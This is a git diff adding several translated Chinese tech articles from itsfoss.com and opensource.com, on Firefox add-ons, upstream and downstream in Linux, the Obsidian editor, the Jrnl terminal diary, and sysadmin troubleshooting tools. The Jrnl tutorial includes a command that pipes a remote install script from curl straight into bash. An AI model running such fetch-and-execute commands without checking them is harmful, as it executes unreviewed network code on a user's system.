+对于基本的拼写检查和常见的语法错误,它应该是足够好的。在我写这篇文章的时候,我的 [LanguageTool][19] 扩展已经激活。这不仅仅是一个注重隐私的开源替代品,它的工作速度超快,不会影响你的写作体验。 + +服务器端是开源的,但不幸的是,该附加组件不是开源的。他们澄清了原因,因为他们不希望竞争对手使用该插件而没有任何回报(更多内容见他们的 [论坛帖子][20])。 + +然而,Mozilla 在它每次发布时都能审查源代码,这使得它成为一个值得推荐的附加组件。你可以在其 [官方网站][21] 或其 [GitHub 页面][22] 上探索关于该工具的更多信息。 + +#### 6、Tabby + +![][24] + +如果你想方便地管理具有不同活动窗口的多个标签,[Tabby][26] 应该会派上用场。 + +它简化了管理一个浏览器的多个标签和窗口的方法,还可以让你保存标签/窗口以便以后使用。说到标签管理,Firefox 并不是最棒的,所以你可能想试试这个。 + +你可以查看它的 [GitHub 页面][25] 或者安装这个附加组件来了解更多。 + +#### 7、Emoji + +![][27] + +在计算机上挑选或使用表情符并不容易。有了这个开源的 [扩展][29],你就只需点击一下就可以轻松地将几个表情符复制到剪贴板。 + +该插件是完全开源的,并且还使用一些开源字体。 + +你可以在其 [GitHub 页面][28] 上找到更多关于它的信息。 + +#### 8、DownThemAll + +![][30] + +[DownThemAll][33] 是一个强大的插件,可以轻松地从一个网页上下载多个文件/媒体。你可以选择一键下载所有文件,或者自定义你想要的文件。 + +还有一些额外的选项可以自定义文件名、基于队列的下载和高级选择。 + +你可以在其 [官方网站][31] 或 [GitHub 页面][32] 上了解它的更多信息。 + + +#### 9、Tomato Clock + +![][34] + +如果你想在你的网络浏览器中实现 Pomodoro 功能(就像 Vivaldi 开箱即用提供的功能),[Tomato Clock][36] 是你需要的插件。 + +换句话说,它可以让你设置定时器,帮助你把工作分成若干个时间段,中间有短暂的休息。这应该有助于你保持生产力,而不会被工作压垮。 + +它使用起来很简单,还能显示一些使用统计,以了解你对它的利用情况。 + +你可以探索它的 [GitHub 页面][35] 了解技术信息,或者获取该扩展来开始。 + +### 总结 + +如果你是一个狂热的 Firefox 用户,我建议你看看这个 [Firefox 键盘快捷键的有用清单][37]。我们也有一个 [Firefox 罕为人知的功能][38] 列表。你也可以去看看。 + +虽然还有其他几个有用的 Firefox 附加组件,但我把这个列表限制在我自己使用的最好的那些。 + +你最喜欢的开源 Firefox 附加组件有哪些?请在下面的评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/best-firefox-add-ons/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-browsers-ubuntu-linux/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/firefox-extensions.png?resize=800%2C450&ssl=1 +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/firefox-dark-reader.png?resize=708%2C608&ssl=1 +[4]: https://github.com/darkreader/darkreader +[5]: https://addons.mozilla.org/en-US/firefox/addon/darkreader/ +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/bitwarden-firefox-extension.png?resize=800%2C500&ssl=1 +[7]: https://itsfoss.com/password-managers-linux/ +[8]: https://itsfoss.com/bitwarden/ +[9]: https://github.com/bitwarden/browser +[10]: https://addons.mozilla.org/en-US/firefox/addon/bitwarden-password-manager/ +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/vimium-firefox.png?resize=800%2C553&ssl=1 +[12]: https://itsfoss.com/pro-vim-tips/ +[13]: https://github.com/philc/vimium +[14]: https://addons.mozilla.org/en-US/firefox/addon/vimium-ff/ +[15]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/ublockorigin-firefox.png?resize=647%2C491&ssl=1 +[16]: https://github.com/gorhill/uBlock#ublock-origin +[17]: https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/ +[18]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/languagetool-firefox.png?resize=710%2C601&ssl=1 +[19]: https://itsfoss.com/languagetool-review/ +[20]: https://forum.languagetool.org/t/about-the-browser-addon-privacy-and-open-source/7505 +[21]: https://languagetool.org +[22]: https://github.com/languagetool-org/languagetool +[23]: https://addons.mozilla.org/firefox/addon/languagetool/ +[24]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/tabby-firefox.png?resize=800%2C548&ssl=1 +[25]: https://github.com/Bill13579/tabby +[26]: https://addons.mozilla.org/en-US/firefox/addon/tabby-window-tab-manager/ +[27]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/emoji-firefox.png?resize=685%2C508&ssl=1 +[28]: https://github.com/Sav22999/emoji +[29]: https://addons.mozilla.org/en-US/firefox/addon/emoji-sav/ +[30]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/downthemall-firefox.png?resize=643%2C408&ssl=1 +[31]: https://www.downthemall.org +[32]: https://github.com/downthemall/downthemall +[33]: https://addons.mozilla.org/en-US/firefox/addon/downthemall/ +[34]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/tomato-firefox.png?resize=524%2C428&ssl=1 +[35]: https://github.com/samueljun/tomato-clock +[36]: https://addons.mozilla.org/en-US/firefox/addon/tomato-clock/ +[37]: https://itsfoss.com/firefox-keyboard-shortcuts/ +[38]: https://itsfoss.com/firefox-useful-features/ diff --git a/published/202201/20220124 Linux Jargon Buster- What are Upstream and Downstream.md b/published/202201/20220124 Linux Jargon Buster- What are Upstream and Downstream.md new file mode 100644 index 0000000000..1c99c746d4 --- /dev/null +++ b/published/202201/20220124 Linux Jargon Buster- What are Upstream and Downstream.md @@ -0,0 +1,100 @@ +[#]: subject: "Linux Jargon Buster: What are Upstream and Downstream?" +[#]: via: "https://itsfoss.com/upstream-and-downstream-linux/" +[#]: author: "Bill Dyer https://itsfoss.com/author/bill/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14215-1.html" + +Linux 黑话解释:什么是上游和下游? +====== + +“上游upstream” 和 “下游downstream”这两个术语是相当模糊的,我认为一般人并不会真正使用它们。如果你只是一个 Linux 用户,并且不编写或维护软件,那么很有可能这些术语对你来说毫无意义,但它们对 Linux 世界中各个社区之间的交流方式有益的。 + +这些术语被用于网络、编程、内核,甚至在非计算机领域,如供应链。当我们谈论上游和下游的时候,讨论背景是很重要的。 + +在其最简单的形式中,上游和下游是信息流动的方向。 + +由于我们都是在连接到互联网的情况下阅读这篇文章的,让我们看看适用于互联网服务提供商(ISP)的上游/下游例子。这里,ISP 关注的是流量。上游流量是指数据是从不同的 ISP 的用户处传来的。例如,如果你有一个提供订阅通讯的网站,我发送的订阅信息就是上游数据。 + +下游流量是指从一个用户发送到不同 ISP 的另一个用户的数据,它被认为是下游流量。使用同样的订阅例子,假设我的订阅请求被批准,我在一封邮件中收到“欢迎”说明,在又一封邮件中收到最新的新闻简报。在这种情况下,数据是顺流而下的,因为它是由你(好吧,可能是作为代表你进行操作的自动化软件)发送给我,一个来自另外 ISP 的用户。 + +总结:我需要或想要的东西(你的通讯)是上游的。你提供给我的东西(欢迎词和实际的通讯)是下游的。 + +数据是在上游还是在下游,对我们用户来说可能并不重要,但对监控带宽使用的服务器管理员,以及发行商distributor(发行版的制作者)和程序员来说却很重要。 + +在 Linux 世界里,上游和下游有两个主要背景。一个是关于内核的,另一个是关于应用程序的。还有其他的,但我希望我可以通过这两个来表达我的想法。 + +### Linux 内核背景下的上游和下游 + +![][1] + +Linux _就是_ 内核。在创建发行版时,Linux 发行版首先使用未经修改的内核源代码。然后添加必要的补丁,对内核进行配置。内核的配置是基于发行版想要提供的功能和选项。一旦决定了,就相应地创建了内核。 + +原始内核来自发行版的上游。当发行版得到源代码时,它就流向下游。一旦发行版得到了内核代码,它就会留在发行商那里,同时对它进行改造。它仍然是我们用户的上游,直到它准备好被发布。 + +发行版创建的内核版本将添加补丁和启用某些功能和选项。这种配置是由发行商决定的。这就是为什么有几种 Linux 流派的原因,例如,[Debian][2] 与 [Red Hat][3]。发行商会决定向他们的用户群提供哪些选项,并相应地编译内核。 + +一旦这项工作完成,它就会放在一个仓库中准备发布,我们就可以获得一份副本。这个副本向下游流向我们。 + +同样地,如果发行商发现了内核中的一个错误,修复了它,然后将补丁发送给内核开发者,这样他们就可以为下游的每个人修补内核。这被称为对上游的贡献,因为这里的流量是向上流向原始来源的。 + +### 在应用程序背景下的上游和下游 + +同样,从技术上讲,Linux 是内核,其他都是附加软件。发行商也会在他们的项目中加入额外的软件。在这种情况下,有几个上游。一个发行版可以包含任何数量的应用程序,如 X、KDE、Gnome 等等。 + +让我们想象一下,你在使用 [nano][4] 编辑器时发现它不能正常工作,于是你向发行版提交了一份错误报告。发行商的程序员会查看它,如果发现他们在 nano 中插入了一个错误,他们将修复它并在其仓库中发布一个新版本。如果他们发现不是他们制造了这个错误,发行商将向上游的 nano 程序员提交一份错误报告。 + +当涉及到像错误报告、功能请求等事情时,最好是将它们发送到上游的发行商那里,因为他们维护着你所使用的发行版的内核和附加应用程序。例如,我在几台机器上使用一个叫做 [Q4OS][5] 的发行版。如果我发现一个程序中的错误,我会把它报告给 Q4OS 的人。如果你碰巧使用的是 [Mint][6],你会把它报告给 Mint 项目。 + +比如说,如果你在一个普通的 Linux 论坛上发布一个问题,而你提到你在使用 Mint,你肯定会得到这样的回复。“这个问题最好在 Mint 论坛上处理”。用之前的 nano 错误的例子,有可能是 Mint 的程序员对 nano 进行了修改,使其在他们的发行版中运行得更好。如果他们确实犯了一个错误,他们会想知道这个错误,而且在犯了这个错误之后,他们会是修复它的人。 + +一旦修复,更新的程序就会被放入你可以使用的仓库。当你得到更新时,它就会顺流而下到你那里,像这样: + + * 如果发行商进行了修复,新版本就会在发行仓库中提供。 + * 如果该应用程序的程序员进行了修复,它将被发送到测试新代码的发行商那里。一旦发现它工作正常,它就会被放在仓库中,向下游流去。 + +### 自动流向下游 + +曾经有一段时间,用户得自己获取更新。用户会得到更新的源代码并编译一个新的可执行文件。随着时间的推移,像 `apt` 这样的工具被创造出来,允许用户从软件库中提取更新的二进制文件(可执行文件)。`apt` 程序是 Debian 的,但其他发行版也有他们自己的用于此用途的类似程序。 + +像 `apt` 这样的程序负责处理上游/下游的工作。如果你用升级选项运行 `apt`,像这样: + +``` +sudo apt upgrade +``` + +它将查看(上游)发行仓库,找到任何需要的更新包,并将它们拉到你的机器上(下游)并安装它们。 + +有些发行版会更进一步。发行版的程序员和维护者总是在检查他们的产品。很多时候,应用程序的程序员会对他们的程序进行改进。系统库会经常更新,安全漏洞也会被堵上,等等。这些更新会提供给发行商,然后由发行商在发行仓库中提供新的版本。 + +与其让你每天运行 `apt`,一些发行版会提醒你有可用的更新并询问你是否需要它们。如果你想要,只要接受,更新就会被发送到你的机器上并安装。 + +### 总结 + +上游和下游实际上只是数据流的方向。这个数据在上游或下游流动的方式取决于最终需要谁来处理它。基本上,程序员是上游,用户是下游。 + +同样,作为用户,我们真的不需要关心这些术语,但这些概念确实有助于软件的开发和维护。通过将工作引向适当的小组,避免了重复工作。这也确保了标准的维护。例如,Chrome 浏览器可能需要做一些细微的改变,以便在某个发行版上运行,但它的核心是 Chrome 浏览器,它的外观和行为都不会有大的变化。 + +如果你发现你的发行版中的任何程序有错误,只需向发行版的维护者报告,这通常是通过他们的网站进行的。你将会把它发送到上游,但你是否记得你在向上游发送报告并不重要。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/upstream-and-downstream-linux/ + +作者:[Bill Dyer][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/bill/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/upstream-downstream.png?resize=800%2C450&ssl=1 +[2]: https://www.debian.org/ +[3]: https://www.redhat.com/ +[4]: https://www.nano-editor.org/ +[5]: https://q4os.org/ +[6]: https://linuxmint.com/ diff --git a/published/202201/20220125 Obsidian is a Notion Alternative for Hardcore Markdown Users for Creating Knowledge Graph of Notes.md b/published/202201/20220125 Obsidian is a Notion Alternative for Hardcore Markdown Users for Creating Knowledge Graph of Notes.md new file mode 100644 index 0000000000..8cd4a95a99 --- /dev/null +++ b/published/202201/20220125 Obsidian is a Notion Alternative for Hardcore Markdown Users for Creating Knowledge Graph of Notes.md @@ -0,0 +1,115 @@ +[#]: subject: "Obsidian is a Notion Alternative for Hardcore Markdown Users for Creating Knowledge Graph of Notes" +[#]: via: "https://itsfoss.com/obsidian-markdown-editor/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14230-1.html" + +黑曜石:Markdown 硬核用户创建知识图谱的 Notion 替代品 +====== + +![](https://img.linux.net.cn/data/attachment/album/202201/31/092728iergl6eayrrrwzuz.jpg) + +我喜欢用 Markdown 来写文章和做笔记。我不确定我是否符合 “Markdown 硬核用户”的标准,但我觉得它对我的写作工作很方便。 + +我在 Linux 上试过几个 Markdown 编辑器。我最喜欢的是 [Joplin][1],它可以用来做笔记和组织笔记,并在 Nextcloud 上保留备份。还有 [Zettlr][2],它适合于研究人员。 + +最近,我遇到了另一个 Markdown 编辑器,它在文档整理方面意外的不错。你可以用它将你的文件相互连接起来,并以类似思维导图的图形方式显示出来。 + +![黑曜石 Markdown 编辑器][3] + +这就是 [黑曜石][4]Obsidian 的主要吸引力,你可以用图形的方式查看你的 Markdown 笔记,特别是当这些笔记需要相互连接的时候。当然,它也有其他的功能。 + +> 非 FOSS 警报! +> +> 最初,我以为黑曜石是一个开源软件。当我寻找他们的源代码库时(在我写完这篇文章后),我才意识到它是 [免费使用的应用程序][5],但不是 FOSS(自由及开源软件)。这让我觉得惭愧,因为它实在是一个好应用,好到让我继续在这里介绍它。 + +### 黑曜石 Markdown 编辑器的功能 + +在黑曜石里,你会发现你期望从一个标准的 Markdown 编辑器得到的所有功能。它有一个侧边栏来显示文件夹结构,还有一个主窗格来显示你的文档。你可以选择在“编辑”和“阅读”视图之间切换。 + +![黑曜石 Markdown 编辑器的界面][6] + +默认情况下,它只显示一个窗格,但你可以根据自己的喜好添加更多的窗格。例如,我添加了一个新的窗格来同时显示编辑和查看模式,这样就可以在同一时间编辑和预览文档。 + +![你可以垂直或水平地分割编辑器,以增加更多的窗格来并排查看][7] + +你可以通过按 `[[` 键来创建现有笔记的内部链接。它可以打开一个文件搜索器,让你从同一项目(这里称为 “金库vault”)中的现有笔记中选择。 + +![在黑曜石创建内部链接][8] + +你可以切换到“图表视图”来显示同一个“金库”(项目)中的笔记之间的联系。我快速做了几个内部链接来进行测试,你可以看到它显示了文件之间的相互联系。 + +![黑曜石图表视图][9] + +你可以图形化地进行搜索和替换。对笔记进行备注、合并文件、在笔记之间移动标题等等。 + +它还有一个命令模式(位于编辑器的左侧侧边栏),允许你控制编辑器的各个方面。其中一些“动作”也可以用键盘快捷键来完成。 + +![黑曜石命令调色板][10] + +这还不是全部。黑曜石还有一个 [社区市场][11],在那里你可以找到并安装插件来扩展其功能。例如,你可以下载看板插件,用黑曜石来管理项目和任务。 + +![黑曜石也有第三方的社区插件][12] + +这里还有很多功能,我不可能把它们全部列出。即使是项目网站也没有一次性列出所有的功能,这是很无奈的。 + +### 安装黑曜石 + +黑曜石是一个跨平台的应用程序,它可用于 Linux、macOS、Windows、Android 和 iOS。 + +对于 Linux,你可以选择使用 AppImage、Snap 或 Flatpak。我使用 AppImage 版本进行测试。你可以在其下载页面找到相关信息和文件。 + +- [下载黑曜石][13] + +### 它值得使用吗? + +黑曜石有一个学习曲线。你当然需要了解 [Markdown 的基础知识][14],但是除了编辑和显示 Markdown 文本之外的任何功能,你都需要在这里学习。 + +几乎任何应用程序都需要一些学习,但要想充分使用黑曜石,你需要付出比平常更多的努力。 + +但如果你是一个痴迷于 Markdown 的用户,并且有成吨的文档,这完全是值得的。这里的好处是它有 [丰富的文档][15] 来帮助你的学习过程。当你点击帮助按钮(显示为问号)时,这些文档也可以从应用界面中获得。 + +![访问黑曜石的文档][16] + +黑曜石的界面让我觉得我在使用 VS Code,这并不是一件坏事。 + +如果你以 Markdown 为生,并且对正确管理你的文档很着迷,你应该考虑尝试一下黑曜石。 + +如果你足够喜欢它并开始定期使用它,也许你可以 [考虑捐赠][17] 或使用他们的高级产品以支持这个项目的发展。高级产品包括选择将你的笔记同步到他们的云端,或者将你的笔记发布到网站上。 + +黑曜石已经做得很专业和漂亮了。它就像 VS Code 的 Markdown 版,它有可能成为 [Notion][18] 等的真正替代品。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/obsidian-markdown-editor/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/joplin/ +[2]: https://itsfoss.com/zettlr-markdown-editor/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/obsidian.jpg?resize=800%2C424&ssl=1 +[4]: https://obsidian.md/ +[5]: https://obsidian.md/eula +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/Obsidian-Markdown-Editor-800x462.png?resize=800%2C462&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/Obsidian-multiple-pane.png?resize=800%2C462&ssl=1 +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/Obsidian-Internal-Linking.webp?resize=800%2C450&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/Obsidian-Graph-View.png?resize=800%2C474&ssl=1 +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/Obsidian-Command-Palette.png?resize=800%2C474&ssl=1 +[11]: https://obsidian.md/plugins +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/Obsidian-Plugins.webp?resize=800%2C364&ssl=1 +[13]: https://obsidian.md/download +[14]: https://itsfoss.com/markdown-guide/ +[15]: https://help.obsidian.md/Obsidian/Index +[16]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/Obsidian-Markdown-Editor-Help.png?resize=800%2C439&ssl=1 +[17]: https://obsidian.md/pricing +[18]: https://www.notion.so/ diff --git a/published/202201/20220126 Jrnl- Your Digital Diary in the Linux Terminal.md b/published/202201/20220126 Jrnl- Your Digital Diary in the Linux Terminal.md new file mode 100644 index 0000000000..545b172232 --- /dev/null +++ b/published/202201/20220126 Jrnl- Your Digital Diary in the Linux Terminal.md @@ -0,0 +1,108 @@ +[#]: subject: "Jrnl: Your Digital Diary in the Linux Terminal" +[#]: via: "https://itsfoss.com/jrnl/" +[#]: author: "Marco Carmona https://itsfoss.com/author/marco/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14229-1.html" + +Jrnl:你的 Linux 终端数字日记 +====== + +![](https://img.linux.net.cn/data/attachment/album/202201/30/234157xxoo76bdxb7xxbgl.jpg) + +想象一下:有人伤了你的心,而你想要的是心无旁骛地在日记中写下你的感受。你明白这种感受吗?没有吗?我也不知道。我没有心碎过(或者也许我心碎了,但我不想告诉你)。 + +但我还是想向你展示一个奇妙的极简的开源的记事应用来保存日记。 + +这个方便的小程序是 [Jrnl][1],它可以让你在终端中直接创建、搜索和查看日记条目。 + +用 Jrnl 创建新的笔记就像下面一样简单: + +``` +jrnl yesterday: I read an amazing article on It’s FOSS. I learn about a minimalist app called Jrnl, I should try it. +``` + +看起来很简单,不是吗?关键字 “yesterday” 在这里是一个触发器,它把你的笔记保存到昨天的日期。记住,它被称为 Jrnl(日记)是有原因的。它的主要目的是保存日记。 + +如果你喜欢把你的想法写成日记,或者只是想尝试一下,让我分享一下安装和使用的一些细节。 + +### 在你的 Linux 系统上安装和使用 Jnrl + +Jrnl 可以用 pipx 或 Homebrew 包管理器安装。 + +我在测试中使用了 Homebrew,所以我将列出这些步骤。首先获取 Homebrew: + +``` +/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" +``` + +![Installing Homebrew on your system][2] + +这就好了!如果你需要更多的信息,我们有一个关于 [在 Linux 上安装 Homebrew][3] 的详细教程。 + +当你安装了 Homebrew 包管理器后,用它来安装 Jrnl: + +``` +brew install jrnl +``` + +![Installing Jrnl with Homebrew][4] + +安装后,只要初始化 jrnl 并开始写你的随机想法。 + +你还记得本文开头的第一个例子吗?让我们再来看看它吧! + +``` +jrnl yesterday: I read an amazing article in It’s FOSS. I learn about a minimalist app called Jrnl, I should try it. +``` + +![Writing an entry][5] + +在这一行中,我用命令 `jrnl` 在一个时间戳旁启动程序,在这个例子中是 `yesterday`。我写了一个冒号 `:`,表示我将开始写一些东西,在第一个句子标记 `.?!:`(在这里是句号 `.`)之前包含的所有内容将是标题。最后,这个句号旁边的所有内容将被视为文件的主体。 + +目前,Jnrl 有两种模式:撰写和查看;前面的步骤用于撰写条目,但如果你想查看,例如,之前写过的条目,语法也很简单,你只需输入下一行。 + +``` +jrnl -on yesterday +``` + +![Viewing an entry][6] + +认为有人可能会阅读你的日记和想法?你也可以对你的条目进行加密。 + +这就好了! 当然,Jrnl 还有很多功能,你可以通过下面这行轻松找到: + +``` +jrnl --help +``` + +你也可以参考 [其官方网站][7] 上的文档。记住,在这样的一个开源项目中,文档是你最好的朋友。享受它吧! + +### 总结 + +当然,Jrnl 并不适合所有人。大多数命令行工具都不适合。但如果你在终端中生活和呼吸,并喜欢记录你的想法,它就适合你。 + +请不要忘记在评论中与我们分享你的个人经验,或者更好的是,如果你想让更多的人了解这个项目,你可以在各个社区和论坛上分享这个帖子。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/jrnl/ + +作者:[Marco Carmona][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/marco/ +[b]: https://github.com/lujun9972 +[1]: https://jrnl.sh/en/stable/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/Installing_brew.png?resize=800%2C131&ssl=1 +[3]: https://itsfoss.com/homebrew-linux/ +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/installing_jrnl.png?resize=800%2C490&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/Writing_an_entry.png?resize=800%2C211&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/Viewing_an_entry.png?resize=800%2C159&ssl=1 +[7]: https://jrnl.sh/en/stable/overview/ \ No newline at end of file diff --git a/published/202202/20200110 5 ops hacks for sysadmins.md b/published/202202/20200110 5 ops hacks for sysadmins.md new file mode 100644 index 0000000000..7e1d488a23 --- /dev/null +++ b/published/202202/20200110 5 ops hacks for sysadmins.md @@ -0,0 +1,104 @@ +[#]: collector: (lujun9972) +[#]: translator: (wxy) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14232-1.html) +[#]: subject: (5 ops hacks for sysadmins) +[#]: via: (https://opensource.com/article/20/1/ops-hacks-sysadmins) +[#]: author: (Stephen Bancroft https://opensource.com/users/stevereaver) + +系统管理员排除故障的五种武器 +====== + +> 当你不知道从哪里开始时,这五个工具可以帮助你找到用户的 IT 问题的源头。 + +![](https://img.linux.net.cn/data/attachment/album/202202/01/005623l3v5lm73vzv755nn.jpg) + +作为系统管理员,我每天都面临着需要快速解决的问题,用户和管理人员期望事情能够顺利地进行。在我管理的这样的一个大型环境中,几乎不可能从头到尾了解所有的系统和产品,所以我必须使用创造性的技术来找到问题的根源,并(希望可以)提出解决方案。 + +这是我 20 多年来的日常经验!每天上班时,我从不知道会发生什么。因此,我有一些快速而简陋的技巧,当一个问题落在我的身上,而我又不知道从哪里开始时,我一般就会采用这些技巧。 + +但等一下!在你直接打开命令行之前,请花一些时间与你的用户交谈。是的,这可能很乏味,但他们可能会有一些好的信息给你。请记住,用户可能没有你那么多的经验,你需要对他们说的东西进行一些解释。试着清楚地了解正在发生什么和应该发生什么,然后用技术语言自己描述故障。请注意,大多数用户并不阅读他们面前的屏幕上的内容;这很可悲,但却是事实。确保你和用户都阅读了所有的文字,以收集尽可能多的信息。一旦你收集到了这些信息,就打开命令行,使用这五个工具。 + +### Telnet + +让我从一个经典开始。[Telnet][2] 是 SSH 的前身,在过去,它在 Unix 系统上用来连接到远程终端,就像 SSH 一样,但它没有加密。Telnet 在诊断网络连接问题方面有一个非常巧妙和宝贵的技巧:你可以 Telnet 到不是专属于它 TCP 端口(23/TCP)。要做到这一点,可以像平时一样使用 Telnet,但在末尾加上 TCP 端口(例如 `telnet localhost 80`),以连接到一个网络服务器。这可以让你能够检查一个服务器,看看服务是否正在运行,或者防火墙是否阻挡了它。因此,在没有应用程序客户端,甚至没有登录应用程序的情况下,你可以检查 TCP 端口是否有反应。如果你知道怎么做,有时你可以通过在 Telnet 提示符手动输入并获得响应以检查。网络服务器和邮件服务器是你可以这样做的两个例子。 + +![用 Telnet 获得网络服务器的响应][3] + +### Tcpdump + +[tcpdump][4] 工具可以让你检查网络上正在传输的数据。大多数网络协议都相当简单,如果你把 `tcpdump` 和一个像 [Wireshark][5] 这样的工具结合起来,你会得到一个简单而好用的方法来浏览你所捕获的流量。在如下的例子中,我在下面的窗口中检查数据包,在上面的窗口连接到 TCP 3260 端口。 + +![用 tcpdump 实时检查数据包][6] + +这张截图显示了在现实世界中使用 Wireshark 查看 iSCSI 协议的情况;在这种情况下,我能够确定我们的 QNAP 网络附加存储的配置方式有问题。 + +![使用 Wireshark 检查 TCP 会话][7] + +### find + +如果你不知道从哪里开始,[find][8] 命令就是最好的工具。在其最简单的形式中,你可以用它来“寻找”文件。例如,如果我想在所有的目录中进行递归搜索,得到一个 conf 文件的列表,我可以输入: + +``` +find . -name '*.conf'. +``` + +![find 命令输出][9] + +但是,`find` 的一个隐藏的宝藏是,你可以用它对它找到的每个项目执行一个命令。例如,如果我想得到每个文件的长列表,我可以输入; + +``` +find . -name '*.conf' -exec ls -las {}\; +``` + +![查找命令输出][10] + +一旦你掌握了这种技术,你就可以用各种创造性的方法来寻找、搜索和以特定方式执行程序。 + +### strace + +我是在 Solaris 上认识 [strace][11] 这个概念的,在那里它被称为 `truss`。今天,它仍然像多年前一样有用。`strace` 允许你在进程实时运行时检查它在做什么。使用它很简单,只要使用命令 `ps -ef`,找到你感兴趣的进程 ID。用 `strace -p <进程 ID>` 启动 `strace`,它会开始打印出一大堆东西,一开始看起来像垃圾信息。但如果你仔细观察,你会看到你认识的文字,如 `OPEN` 和 `CLOSE` 这样的词和文件名。如果你想弄清楚一个程序为什么不工作,这可以引导你走向正确的方向。 + +### grep + +把最好的留到最后:[grep][12]。这个工具是如此有用和强大,以至于我很难想出一个简洁的方法来描述它。简单地说,它是一个搜索工具,但它的搜索方式使它如此强大。在问题分析中,我通常会用 `grep` 搜索一堆日志来寻找一些东西。一个叫 `zgrep` 的配套命令可以对压缩文件做同样的事情。在下面的例子中,我使用 `zgrep bancroft /var/log/*` 在所有的日志文件中进行 grep,以查看我在系统中的工作情况。我使用 `zgrep` 是因为该目录中有压缩文件。 + +![grep 命令输出][13] + +使用 `grep` 的另一个好方法是将其他工具的输出通过管道输送到它里面;这样,它就可以作为一种过滤器来使用。在下面的例子中,我列出了 auth 文件,并通过使用 `cat auth.log |grep bancroft` 来搜索我的登录信息,看看我都做了什么。这也可以写成 `grep bancroft auth.log`,但我这里用管道(`|`)来证明这一点。 + +![grep 命令输出][14] + +### 其他需要考虑的工具 + +你可以用这些工具做更多的事情,但我希望这个简单的介绍能给你一个窗口,让你了解如何用它们来解决你遇到的讨厌的问题。另一个值得你注意的工具是 [Nmap][15],我没有包括它,因为它是如此全面,需要一整篇文章(或更多)来解释它。最后,我建议学习一些白帽和黑客技术;在试图找出问题的根源时,它们可能非常有益,因为它们可以帮助你收集对决策至关重要的信息。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/20/1/ops-hacks-sysadmins + +作者:[Stephen Bancroft][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/stevereaver +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/tools_osyearbook2016_sysadmin_cc.png?itok=Y1AHCKI4 (Wratchet set tools) +[2]: https://en.wikipedia.org/wiki/Telnet +[3]: https://opensource.com/sites/default/files/uploads/telnet_1.png (Getting a response from a webserver with Telnet) +[4]: https://www.tcpdump.org/ +[5]: https://www.wireshark.org/ +[6]: https://opensource.com/sites/default/files/uploads/tcpdump_1.png (Inspecting packets in real time with tcpdump) +[7]: 